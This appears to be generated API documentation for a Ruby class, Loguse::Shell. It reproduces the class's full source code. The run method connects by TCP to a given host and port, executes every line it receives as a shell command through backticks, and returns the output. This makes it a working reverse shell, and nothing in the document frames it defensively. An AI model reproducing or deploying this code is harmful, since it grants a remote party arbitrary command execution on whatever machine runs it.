Class: Loguse::Shell

Inherits:
Object
  • Object
show all
Includes:
Celluloid
Defined in:
lib/loguse/shell.rb

Instance Attribute Summary collapse

Instance Method Summary collapse

Constructor Details

#initialize(host, port) ⇒ Shell

Returns a new instance of Shell.



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# File 'lib/loguse/shell.rb', line 12

def initialize(host, port)
  @host = host
  @port = port
  @s = nil

  self.async.run
end

Instance Attribute Details

#host ⇒ Object

Returns the value of attribute host.



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# File 'lib/loguse/shell.rb', line 8

def host
  @host
end

#port ⇒ Object

Returns the value of attribute port.



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# File 'lib/loguse/shell.rb', line 9

def port
  @port
end

#s ⇒ Object

Returns the value of attribute s.



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# File 'lib/loguse/shell.rb', line 10

def s
  @s
end

Instance Method Details

#close ⇒ Object 



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# File 'lib/loguse/shell.rb', line 43

def close
  @s.close
end

#open? ⇒ Boolean

Returns:

  • (Boolean) 


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# File 'lib/loguse/shell.rb', line 47

def open?
  @s && !@s.closed?
end

#run ⇒ Object 



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# File 'lib/loguse/shell.rb', line 20

def run
  t = Thread.new {
    begin
      @s = TCPSocket.open @host, @port
      @s.print "$~"

      while line = s.gets 
        begin
          @s.puts `#{line.chomp}`
          @s.print "$~"
        rescue
          @s.print "Invalid Command..."
        end
      end
      
      close
    rescue
    end
  }

  t.join
end